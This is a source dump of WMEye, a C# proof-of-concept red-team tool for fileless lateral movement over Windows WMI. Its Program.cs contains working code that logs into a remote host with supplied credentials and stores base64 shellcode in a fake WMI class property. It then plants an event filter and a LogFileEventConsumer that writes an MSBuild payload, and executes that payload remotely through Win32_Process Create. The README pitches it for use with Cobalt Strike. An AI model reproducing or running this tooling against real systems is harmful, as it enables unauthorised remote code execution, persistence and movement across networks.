├── LICENSE ├── README.md ├── msbuild └── buildconfig.xml ├── wmeye.gif ├── wmeye.sln └── wmeye ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── bin └── x64 │ └── Debug │ └── wmeye.exe.config ├── obj ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── wmeye.csprojAssemblyReference.cache └── x64 │ └── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── wmeye.csproj.CoreCompileInputs.cache │ └── wmeye.csproj.FileListAbsolute.txt └── wmeye.csproj /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Sudheer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WMEye 2 | 3 | WMEye is an experimental tool that was developed when exploring about Windows WMI. The tool is developed for performing Lateral Movement using WMI and remote MSBuild Execution. It uploads the encoded/encrypted shellcode into remote targets WMI Class Property, create an event filter that when triggered writes an MSBuild based Payload using a special WMI Class called LogFileEventConsumer and finally executes the payload remotely. 4 | 5 | # UseCase 6 | Fileless Lateral Movement using WMI, can be used with Cobalt Strike's Execute-Assembly 7 | 8 | **Note**: This is still in experimental stage and no where near to be used in a real engagement. 9 | 10 | # Preview 11 | 12 | ![Alt Text](wmeye.gif) 13 | 14 | # Current Working 15 | 16 | - Creates a Remote WMI Class 17 | - Writes Shellcode as property value to the above created Fake WMI Class 18 | - Creates a WMI Event Filter to trigger on powershell.exe process creation 19 | - On Event Trigger, it Uploads MSBuild Payload into remote system using LogFileEventConsumer (A WMI Consumer type to write Log Files) 20 | - Finally Invoke `Win32_Process Create` to call MSbuild remotely 21 | 22 | The MSBuild Payload fetches encoded shellcode from WMI Class Property, decodes and executes it. 23 | 24 | # Upcoming Features 25 | 26 | - Replace WIN32_Process Create method of invocation with something better 27 | - Add GZIP Compression for Shellcode and XML File Bytes 28 | - Add NTLM PTH Support 29 | - Add CleanUp Functions for removing event filter after the logfileeventconsumer finished writing the MSBuild Payload 30 | 31 | 32 | # Whats Unique in this Project ? 33 | 34 | - Uploads the encoded/encrypted shellcode to remote machines WMI property on a Created Fake Class (can maybe tweak to write shellcode into existing class's Property) 35 | - Uses LogFileEventConsumer to upload MSBuild File , instead of relying in spawning Powershell.exe using win32_process Create 36 | 37 | 38 | # Credits 39 | 40 | https://www.fireeye.de/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf 41 | 42 | 43 | -------------------------------------------------------------------------------- /msbuild/buildconfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | -------------------------------------------------------------------------------- /wmeye.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye.gif -------------------------------------------------------------------------------- /wmeye.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30709.132 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wmeye", "wmeye\wmeye.csproj", "{928120DC-5275-4806-B99B-12D67B710DC0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|x64.ActiveCfg = Debug|x64 19 | {928120DC-5275-4806-B99B-12D67B710DC0}.Debug|x64.Build.0 = Debug|x64 20 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|x64.ActiveCfg = Release|x64 23 | {928120DC-5275-4806-B99B-12D67B710DC0}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {7DCDB001-0CD2-4858-977F-D630B5F50A93} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /wmeye/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /wmeye/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * - Create a Remote WMI Class 4 | * - Write Shellcode as property value to the above created Class 5 | * - Create a WMI Event Filter to trigger on powershell.exe process creation 6 | * - On Event Trigger Upload MSBuild Payload into remote system using LogFileEventConsumer 7 | * - Finally Invoke `Win32_Process Create` to call MSbuild remotely 8 | * 9 | * The MSBuild Payload fetches encoded shellcode from WMI Class Property, decodes and executes it. 10 | * 11 | * [Author - 0xpwnisher] 12 | * Note: Its just a POC, Not at all safe for real engagements! 13 | * 14 | */ 15 | 16 | 17 | 18 | using System; 19 | using System.Collections; 20 | using System.Collections.Generic; 21 | using System.Management; 22 | using System.Windows.Forms; 23 | using System.Text; 24 | using System.Diagnostics; 25 | using System.IO; 26 | using System.Runtime.InteropServices; 27 | using System.Threading; 28 | 29 | 30 | 31 | namespace WmEye 32 | { 33 | public class WmEye 34 | { 35 | 36 | public static void Main(string[] args) 37 | { 38 | 39 | // Handle CLI Args 40 | 41 | string hostname = args[0]; 42 | string username = args[1]; 43 | string password = args[2]; 44 | 45 | Console.WriteLine("Hostname: {0}", hostname); 46 | Console.WriteLine("Username: {0}", username); 47 | Console.WriteLine("Password: {0}", password); 48 | 49 | 50 | if (hostname == "localhost") 51 | { 52 | UploadShellcode(hostname, null, null); // Uploads Shellcode into a remote class 53 | TriggerFileUpload(hostname, null, null); // Writes MSBuild Payload using WMI LogFileEventConsumer 54 | ExecutePayload(hostname, null, null); // Remote executes MSBuild Payload 55 | 56 | } 57 | else { 58 | UploadShellcode(hostname, username, password); 59 | TriggerFileUpload(hostname, username, password); 60 | ExecutePayload(hostname, username, password); 61 | } 62 | 63 | // Add a Scope Cleanup Method 64 | 65 | } 66 | 67 | // Fake WMI Classe and Property to Store Shellcode 68 | 69 | private static string ShellCodeUploadTempWMIClassName = "Win32_OSRecoveryConfigurationData"; 70 | private static string ShellCodeUploadTempWMIPropertyName = "Description"; 71 | 72 | private static string writePath = "C:\\mtioc.xml"; 73 | private static string msbuildpath = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe "; 74 | 75 | 76 | // Function to initiate different scopes based on namespaces and return 77 | private static string InitiateConnection(ref ManagementScope scope, string host, string user, string password, string wmiNamespace) 78 | { 79 | ConnectionOptions options = new ConnectionOptions 80 | { 81 | Impersonation = ImpersonationLevel.Impersonate, 82 | Authentication = AuthenticationLevel.PacketPrivacy, 83 | EnablePrivileges = true, 84 | }; 85 | 86 | if (!String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(password)) 87 | { 88 | options.Username = user; 89 | options.Password = password; 90 | } 91 | 92 | 93 | if (String.IsNullOrEmpty(wmiNamespace)) 94 | { 95 | wmiNamespace = "root\\cimv2"; 96 | } 97 | 98 | string fullNamespace; 99 | if (!String.IsNullOrEmpty(host)) 100 | { 101 | fullNamespace = String.Format(@"\\{0}\{1}", host, wmiNamespace); 102 | } 103 | else 104 | { 105 | fullNamespace = String.Format(@"\\.\{0}", wmiNamespace); 106 | } 107 | 108 | try 109 | { 110 | if(host == "localhost") { 111 | 112 | scope = new ManagementScope(fullNamespace); 113 | scope.Connect(); 114 | } 115 | 116 | scope = new ManagementScope(fullNamespace, options); 117 | scope.Connect(); 118 | } 119 | catch (UnauthorizedAccessException) 120 | { 121 | return String.Format("Username: {0} with Password {1} threw an unauthorised exception\n", user, password); 122 | } 123 | catch (Exception e) 124 | { 125 | return String.Format("[!] WMI connection failed: {0}", e.Message); 126 | } 127 | 128 | return ""; 129 | } 130 | 131 | 132 | 133 | public static void Consumertwo(string data, string hostname, string username, string password) 134 | { 135 | 136 | // Console.WriteLine(data); 137 | 138 | ManagementObject myEventFilter = null; 139 | ManagementObject myEventConsumer = null; 140 | ManagementObject myBinder = null; 141 | 142 | 143 | try 144 | { 145 | 146 | // want a replace filter which executes immediately 147 | // Trigger on next WMI Connection 148 | 149 | ConnectionOptions options = new ConnectionOptions(); 150 | 151 | options.Username = username; 152 | options.Password = password; 153 | 154 | 155 | string wmiNameSpace = "root\\subscription"; 156 | string fullscope = String.Format(@"\\{0}\{1}", hostname, wmiNameSpace); 157 | ManagementScope scope = new ManagementScope(fullscope, options); 158 | scope.Connect(); 159 | ManagementClass wmiEventFilter = new ManagementClass(scope, new 160 | ManagementPath("__EventFilter"), null); 161 | String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " + 162 | "WHERE TargetInstance ISA \"Win32_Process\" " + 163 | "AND TargetInstance.Name = \"powershell.exe\""; 164 | 165 | WqlEventQuery myEventQuery = new WqlEventQuery(strQuery); 166 | myEventFilter = wmiEventFilter.CreateInstance(); 167 | myEventFilter["Name"] = "demoEventFilter"; 168 | myEventFilter["Query"] = myEventQuery.QueryString; 169 | myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage; 170 | myEventFilter["EventNameSpace"] = @"\root\cimv2"; 171 | myEventFilter.Put(); 172 | Console.WriteLine("[*] Event filter created."); 173 | 174 | myEventConsumer = 175 | new ManagementClass(scope, new ManagementPath("LogFileEventConsumer"), 176 | null).CreateInstance(); 177 | myEventConsumer["Name"] = "LogFile"; 178 | myEventConsumer["Filename"] = writePath; 179 | myEventConsumer["Text"] = data; 180 | myEventConsumer.Put(); 181 | 182 | Console.WriteLine("[*] Event consumer created."); 183 | 184 | myBinder = 185 | new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), 186 | null).CreateInstance(); 187 | myBinder["Filter"] = myEventFilter.Path.RelativePath; 188 | myBinder["Consumer"] = myEventConsumer.Path.RelativePath; 189 | myBinder.Put(); 190 | 191 | Console.WriteLine("[*] Filter to Consumer binding created"); 192 | 193 | 194 | } 195 | catch (Exception e) 196 | { 197 | Console.WriteLine(e); 198 | } // END CATCH 199 | 200 | } 201 | 202 | 203 | 204 | public static void TriggerFileUpload(string hostname, string username, string password) 205 | { 206 | 207 | string uploadFile = "C:\\magic.xml"; 208 | 209 | if (!File.Exists(uploadFile)) 210 | { 211 | Console.WriteLine("[-] Specified local file does not exist, not running PS runspace\n"); 212 | 213 | } 214 | 215 | string content = File.ReadAllText(uploadFile); 216 | 217 | 218 | // string originalWMIProperty = Convert.ToBase64String(uploadFileBytes); 219 | 220 | // Console.WriteLine(content); 221 | 222 | if (hostname == "localhost") 223 | { 224 | Consumertwo(content, hostname, null, null); 225 | } 226 | else { 227 | 228 | Consumertwo(content, hostname, username, password); 229 | } 230 | 231 | // A cleanup method to clear the event filter, 232 | // else the MSBUild XML file gets overwritten 233 | 234 | CleanFilter(); 235 | 236 | 237 | } 238 | 239 | 240 | public static void CleanFilter() 241 | { 242 | 243 | // Console.WriteLine("Remove the Event Filter after File is Written"); 244 | 245 | // Check if File is written, if yes, remove the filter 246 | 247 | } 248 | 249 | public static void UploadShellcode(string host, string username, string password) 250 | { 251 | 252 | 253 | string className = ShellCodeUploadTempWMIClassName; 254 | string evilPropertyName = ShellCodeUploadTempWMIPropertyName; 255 | 256 | // Calc ShellCode 257 | 258 | var scope = new ManagementScope(); 259 | string fileData = @"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu+AdKgpoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlIGMA"; 260 | 261 | 262 | 263 | string r = InitiateConnection(ref scope, host,username,password, ""); 264 | 265 | // We're creating a static WMI class here 266 | ManagementObject evilClass = new ManagementClass(scope, null, null); 267 | evilClass["__CLASS"] = className; 268 | evilClass.Properties.Add(evilPropertyName, CimType.String, false); 269 | evilClass.Properties[evilPropertyName].Value = fileData.ToString(); 270 | 271 | try 272 | { 273 | Console.WriteLine("[X] Uploading Shellcode into target"); 274 | evilClass.Put(); 275 | } 276 | catch (Exception ex) 277 | { 278 | Console.WriteLine("[X] Exception during setting the evil property : {0}", ex.Message); 279 | return; 280 | } 281 | 282 | 283 | Console.WriteLine("[X] ShellCode Property Created"); 284 | } 285 | 286 | 287 | 288 | public static void ExecutePayload(string host, string username, string password) 289 | { 290 | 291 | 292 | var scope = new ManagementScope(); 293 | string r = InitiateConnection(ref scope, host, username, password, ""); 294 | 295 | // Invoke MSBuild using WIN32_Process Create Method for now 296 | // Replace later with VBScript or other WMI Class 297 | 298 | ObjectGetOptions optionons3 = new ObjectGetOptions(); 299 | ManagementPath pather2 = new ManagementPath("Win32_Process"); 300 | ManagementClass classInstance2 = new ManagementClass(scope, pather2, optionons3); 301 | ManagementBaseObject inParams2 = classInstance2.GetMethodParameters("Create"); 302 | 303 | string Command = msbuildpath + writePath; 304 | 305 | inParams2["CommandLine"] = Command; 306 | 307 | Console.WriteLine("[X] Invoking : {0}", Command); 308 | 309 | ManagementBaseObject outParams2 = classInstance2.InvokeMethod("Create", inParams2, null); 310 | 311 | 312 | } 313 | 314 | } 315 | 316 | } 317 | 318 | -------------------------------------------------------------------------------- /wmeye/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("wmeye")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("wmeye")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("928120dc-5275-4806-b99b-12d67b710dc0")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /wmeye/bin/x64/Debug/wmeye.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /wmeye/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /wmeye/obj/Debug/wmeye.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/Debug/wmeye.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /wmeye/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/WMEye/9e2c415c70cf2539f3a78bae8cd5fd97f7abde87/wmeye/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /wmeye/obj/x64/Debug/wmeye.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 38aded80315e176e6b081f79dfb28dbd9fbb7ea1 2 | -------------------------------------------------------------------------------- /wmeye/obj/x64/Debug/wmeye.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.csproj.CoreCompileInputs.cache 2 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.exe.config 3 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.exe 4 | Z:\wmeye\wmeye\bin\x64\Debug\wmeye.pdb 5 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.exe 6 | Z:\wmeye\wmeye\obj\x64\Debug\wmeye.pdb 7 | -------------------------------------------------------------------------------- /wmeye/wmeye.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {928120DC-5275-4806-B99B-12D67B710DC0} 8 | Exe 9 | wmeye 10 | wmeye 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x64\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x64 40 | 7.3 41 | prompt 42 | true 43 | 44 | 45 | bin\x64\Release\ 46 | TRACE 47 | true 48 | pdbonly 49 | x64 50 | 7.3 51 | prompt 52 | true 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | --------------------------------------------------------------------------------